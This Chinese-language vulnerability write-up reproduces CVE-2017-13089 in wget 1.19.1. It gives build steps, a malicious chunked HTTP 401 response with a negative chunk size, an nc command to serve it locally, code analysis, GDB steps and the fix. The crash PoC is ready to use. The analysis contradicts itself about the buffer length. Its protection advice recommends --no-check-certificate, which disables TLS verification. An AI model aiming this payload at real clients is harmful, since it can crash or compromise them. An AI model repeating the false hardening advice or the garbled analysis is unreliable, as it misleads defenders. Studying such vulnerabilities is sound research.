CVE-2017-13089 wget 栈溢出漏洞复现
字数 961 2025-08-26 22:12:03
Wget 1.19.1 栈溢出漏洞(CVE-2017-13089)分析与复现
漏洞概述
CVE-2017-13089是Wget 1.19.1版本中存在的一个栈溢出漏洞,该漏洞源于对HTTP 401未授权响应处理不当导致的整数溢出问题。攻击者可以通过构造恶意的HTTP响应包,导致目标系统上的wget程序崩溃或可能执行任意代码。
环境准备
编译环境搭建
sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1/
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8
sudo make install
cd build/
编译完成后,wget二进制文件将安装在--prefix指定的bin/目录下。
漏洞触发
漏洞原理
该漏洞发生在wget处理HTTP 401状态码响应时,对分块传输编码(chunked transfer encoding)的处理过程中。当解析恶意构造的负值块大小时,由于缺乏适当的边界检查,导致整数溢出,最终引发栈缓冲区溢出。
POC构造
创建恶意响应文件poc:
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[...省略大量A字符...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
触发步骤
- 使用nc监听端口:
nc -lp 12667 < poc
- 使用漏洞版本wget连接:
./bin/wget 127.0.0.1:12667
此时wget将因栈溢出而崩溃。
漏洞分析
关键代码路径
漏洞主要发生在src/http.c文件的skip_short_body函数中,处理流程如下:
- 当收到401状态码时,进入以下判断:
if (statcode == HTTP_STATUS_UNAUTHORIZED) {
/* Authorization is required. */
if (keep_alive && !head_only && skip_short_body(sock, contlen, chunked_transfer_encoding))
CLOSE_FINISH (sock);
else
CLOSE_INVALIDATE (sock);
}
skip_short_body函数处理分块传输:
static bool skip_short_body(int fd, wgint contlen, bool chunked) {
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
char dlbuf[SKIP_SIZE + 1];
// [...]
if (chunked) {
char *line = fd_read_line(fd);
remaining_chunk_size = strtol(line, &endl, 16);
contlen = MIN(remaining_chunk_size, SKIP_SIZE);
}
ret = fd_read(fd, dlbuf, MIN(contlen, SKIP_SIZE), -1);
// [...]
}
- 最终调用栈读取函数:
static int sock_read(int fd, char *buf, int bufsize) {
int res;
do
res = read(fd, buf, bufsize);
while (res == -1 && errno == EINTR);
return res;
}
漏洞触发流程
- 当处理分块传输时,
fd_read_line读取块大小行"-0xFFFFF000" strtol将其转换为负数(0xFFFFF000的补码表示)MIN宏比较负数与SKIP_SIZE(512),返回512- 但实际
read操作时,使用原始负数作为长度参数 - 导致栈缓冲区
dlbuf被大量数据覆盖,引发溢出
动态分析
使用GDB调试:
gdb ./wget
set args 127.0.0.1:12667
b skip_short_body
关键观察点:
strtol转换后remaining_chunk_size值为0xFFFFFFFF00001000- 经过
MIN比较后contlen值为0x1000 fd_read实际读取时使用过大长度值
漏洞补丁
修复方案增加了对块大小的有效性检查:
remaining_chunk_size = strtol(line, &endl, 16);
if (remaining_chunk_size < 0) {
xfree(line);
return false;
}
防护建议
- 升级到最新版本的wget
- 对不可信来源使用wget时添加
--no-check-certificate选项 - 在网络边界过滤异常HTTP响应
参考
- GNU wget安全公告
- CVE-2017-13089漏洞描述
- 相关漏洞分析文章